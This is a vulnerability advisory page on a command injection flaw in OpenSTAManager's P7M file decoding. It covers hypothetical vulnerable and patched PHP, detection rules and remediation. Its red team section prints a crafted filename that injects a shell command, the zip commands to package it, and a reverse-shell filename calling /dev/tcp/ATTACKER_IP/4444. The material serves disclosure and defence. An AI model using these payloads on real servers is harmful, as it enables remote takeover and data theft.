CVE-2025-69212
Executive Summary
CVE-2025-69212 is a critical OS Command Injection vulnerability in OpenSTAManager, an open-source management software for technical assistance and invoicing. The flaw resides in the P7M (signed XML) file decoding functionality, affecting versions 2.9.8 and earlier. An authenticated attacker can upload a specially crafted ZIP file containing a malicious .p7m file with a crafted filename, leading to arbitrary system command execution on the server. This vulnerability allows a low-privileged authenticated user to achieve full remote code execution (RCE), potentially compromising the entire application and underlying infrastructure.
The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity is critical due to the potential impact.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OpenSTAManager is a PHP-based application. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the application's file processing logic. The risk is primarily to organizations that self-host OpenSTAManager.
CVSS Breakdown & Threat Level
While a CVSS vector is not provided, based on the description, a reasonable assessment is:
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – The attacker must be authenticated.
- User Interaction (UI): None (N) – No user interaction is required.
- Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the security scope.
- Confidentiality (C): High (H) – Full system compromise.
- Integrity (I): High (H) – Full system compromise.
- Availability (A): High (H) – Full system compromise.
Estimated CVSS Score: 8.8 (High)
Threat Level: Critical. The ability to execute arbitrary commands as an authenticated user can lead to complete server takeover, data exfiltration, and lateral movement.
Deep Dive & Mechanics
The vulnerability is located in the P7M file decoding functionality. P7M files are PKCS#7 signed data files, often used for digitally signed documents (e.g., in Italian electronic invoicing). The application likely processes these files to extract the original content and verify signatures.
The flaw is an OS Command Injection. The application likely constructs a system command to decode the P7M file, using the filename or file path as part of the command string without proper sanitization. For example, it might use a command like:
openssl smime -verify -in <filename> -inform DER -noverify
If the filename is not sanitized, an attacker can inject command separators (e.g., ;, |, &&) or backticks to execute arbitrary commands.
The attack vector is through a ZIP file upload. The attacker creates a ZIP archive containing a .p7m file with a malicious filename. When the application extracts and processes the file, the unsanitized filename is passed to the command execution function, leading to RCE.
Vulnerable vs. Patched Code
Since no patch is available, we can only hypothesize the vulnerable code pattern.
Vulnerable Code (Hypothetical):
// Vulnerable: Direct concatenation of user-supplied filename into command
$filename = $_FILES['file']['name']; // e.g., "test;id>.p7m"
$command = "openssl smime -verify -in " . $filename . " -inform DER -noverify";
$output = shell_exec($command);
Patched Code (Hypothetical):
// Patched: Use escapeshellarg() to sanitize the filename
$filename = $_FILES['file']['name'];
$safe_filename = escapeshellarg($filename);
$command = "openssl smime -verify -in " . $safe_filename . " -inform DER -noverify";
$output = shell_exec($command);
The patched version uses escapeshellarg() to ensure the filename is treated as a single argument, preventing command injection.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an OpenSTAManager instance (version <= 2.9.8).
- Valid user credentials (any authenticated user).
Exploitation Steps:
Craft the Malicious ZIP File: Create a ZIP archive containing a
.p7mfile with a malicious filename. The filename should include command injection payloads.Example filename:
test;id>/var/www/html/output.txt.p7mUsing a Linux terminal:
touch "test;id>/var/www/html/output.txt.p7m" zip malicious.zip "test;id>/var/www/html/output.txt.p7m"Upload the ZIP File: Log in to OpenSTAManager and navigate to the file upload functionality (likely related to document management or invoice processing). Upload the
malicious.zipfile.Trigger the Vulnerability: The application will extract and process the
.p7mfile. The command injection will execute, writing the output of theidcommand to/var/www/html/output.txt.Verify Execution: Access the output file via the web server:
http://target.com/output.txtEscalate to Reverse Shell: Use a more sophisticated payload to establish a reverse shell.
Example filename:
test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'.p7m(Note: This may require URL encoding or special characters to bypass filters.)
Lab Setup:
- Install OpenSTAManager 2.9.8 on a local VM.
- Create a test user account.
- Use a tool like Burp Suite to intercept and modify the upload request.
Blue Team
Detection:
- Monitor for unusual file uploads, especially ZIP files containing
.p7mfiles with suspicious filenames (e.g., containing shell metacharacters like;,|,&,`). - Monitor process execution logs for unexpected commands involving
opensslor other decoders with unusual arguments. - Monitor web server logs for requests to
/output.txtor other unexpected files.
Hunting:
- Search for files in the web root that were not part of the original application (e.g.,
output.txt,shell.php). - Review application logs for errors related to file processing or command execution.
Prevention:
- Implement strict input validation on filenames (allow only alphanumeric, hyphens, underscores, and dots).
- Use
escapeshellarg()orescapeshellcmd()when constructing system commands. - Avoid using user-supplied filenames in system commands altogether. Use temporary files with safe names.
Indicators of Compromise (IOCs)
File-Based IOCs:
- ZIP files containing
.p7mfiles with filenames containing shell metacharacters. - Unexpected files in the web root (e.g.,
output.txt,shell.php,cmd.php). - Modified
.p7mfiles with embedded commands.
Network IOCs:
- Outbound connections to unknown IP addresses on common reverse shell ports (e.g., 4444, 1337, 8080).
- Unusual DNS queries to domains associated with C2 infrastructure.
Process IOCs:
- Execution of
opensslwith suspicious arguments (e.g., containing;,|,&). - Execution of shell commands (e.g.,
bash,sh,id,whoami) from the web server user.
Log IOCs:
- Web server logs showing requests to
/output.txtor other unexpected files. - Application logs showing errors during P7M file processing.
Detection Engineering
YARA Rule
rule CVE_2025_69212_OpenSTAManager_P7M_Command_Injection {
meta:
description = "Detects malicious ZIP files targeting CVE-2025-69212 in OpenSTAManager"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-69212"
severity = "critical"
strings:
$zip_magic = { 50 4B 03 04 } // ZIP local file header
$p7m_ext = ".p7m" nocase
$cmd_inject1 = /[;&|`$()]/
$cmd_inject2 = /bash|sh|cmd|powershell|exec|system|shell_exec/
condition:
$zip_magic at 0 and $p7m_ext and (#cmd_inject1 > 2 or #cmd_inject2 > 0)
}
Sigma Rule
title: CVE-2025-69212 - OpenSTAManager P7M Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-69212 via suspicious process execution
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/openssl'
CommandLine|contains:
- ';'
- '|'
- '&&'
- '`'
- '$('
condition: selection
falsepositives:
- Legitimate use of openssl with complex arguments
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69212 - OpenSTAManager P7M Command Injection - Outbound Connection"; flow:to_server,established; content:"GET"; http_method; content:"/output.txt"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable P7M File Processing: If the feature is not critical, disable the P7M file decoding functionality in the application configuration.
- Restrict File Uploads: Implement strict file type and filename validation. Only allow alphanumeric characters, hyphens, underscores, and dots in filenames.
- Apply Input Sanitization: If you have access to the source code, apply
escapeshellarg()to all user-supplied filenames before passing them to system commands.
Long-Term Fix:
- The vendor must release a patched version that properly sanitizes filenames or avoids using user-supplied filenames in system commands.
- Consider using a dedicated library for P7M file processing that does not rely on shell commands.
Workaround:
- Use a Web Application Firewall (WAF) to block requests containing suspicious filenames (e.g., containing
;,|,&). - Monitor and alert on unusual process execution patterns.
Valters IT